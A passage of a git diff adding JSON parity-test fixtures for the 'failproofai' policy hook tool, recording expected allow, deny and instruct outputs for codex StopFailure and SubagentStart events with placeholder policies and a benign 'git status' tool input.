"hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/StopFailure/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/StopFailure/deny__tool-present__one-policy.json new file mode 100644 index 00000000..84eaa17c --- /dev/null +++ b/__tests__/parity/fixtures/codex/StopFailure/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "codex", + "decision_kind": "deny", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/StopFailure/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/StopFailure/deny__tool-present__two-policies.json new file mode 100644 index 00000000..aeb0645f --- /dev/null +++ b/__tests__/parity/fixtures/codex/StopFailure/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "codex", + "decision_kind": "deny", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/StopFailure/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/StopFailure/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..8ac69a7c --- /dev/null +++ b/__tests__/parity/fixtures/codex/StopFailure/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "instruct", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"StopFailure\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/StopFailure/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/StopFailure/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..85912801 --- /dev/null +++ b/__tests__/parity/fixtures/codex/StopFailure/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "instruct", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"StopFailure\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/StopFailure/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/StopFailure/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..bdb41ba5 --- /dev/null +++ b/__tests__/parity/fixtures/codex/StopFailure/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "codex", + "decision_kind": "instruct", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"StopFailure\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/StopFailure/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/StopFailure/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..91105bbe --- /dev/null +++ b/__tests__/parity/fixtures/codex/StopFailure/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "codex", + "decision_kind": "instruct", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"StopFailure\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/SubagentStart/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/SubagentStart/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..8d40f56d --- /dev/null +++ b/__tests__/parity/fixtures/codex/SubagentStart/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/SubagentStart/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/SubagentStart/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..cacc534c --- /dev/null +++ b/__tests__/parity/fixtures/codex/SubagentStart/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/SubagentStart/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/SubagentStart/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..53769483 --- /dev/null +++ b/__tests__/parity/fixtures/codex/SubagentStart/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/SubagentStart/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/SubagentStart/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..fdf4caee --- /dev/null +++ b/__tests__/parity/fixtures/codex/SubagentStart/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/SubagentStart/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/SubagentStart/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..d270e2ee --- /dev/null +++ b/__tests__/parity/fixtures/codex/SubagentStart/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/SubagentStart/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/SubagentStart/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..c7229eaf --- /dev/null +++ b/__tests__/parity/fixtures/codex/SubagentStart/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/SubagentStart/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/SubagentStart/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..5b654636 --- /dev/null +++ b/__tests__/parity/fixtures/codex/SubagentStart/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/SubagentStart/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/SubagentStart/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..1d6ce60e --- /dev/null +++ b/__tests__/parity/fixtures/codex/SubagentStart/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/SubagentStart/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/SubagentStart/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..3a285e61 --- /dev/null +++ b/__tests__/parity/fixtures/codex/SubagentStart/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "deny", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/SubagentStart/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/SubagentStart/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..5136f121 --- /dev/null +++ b/__tests__/parity/fixtures/codex/SubagentStart/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "deny", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/SubagentStart/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/SubagentStart/deny__tool-present__one-policy.json new file mode 100644 index 00000000..50def305 --- /dev/null +++ b/__tests__/parity/fixtures/codex/SubagentStart/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "codex", + "decision_kind": "deny", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/SubagentStart/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/SubagentStart/deny__tool-present__two-policies.json new file mode 100644 index 00000000..15196114 --- /dev/null +++ b/__tests__/parity/fixtures/codex/SubagentStart/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "codex", + "decision_kind": "deny", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/SubagentStart/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/SubagentStart/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..31f8781f --- /dev/null +++ b/__tests__/parity/fixtures/codex/SubagentStart/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "instruct", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": 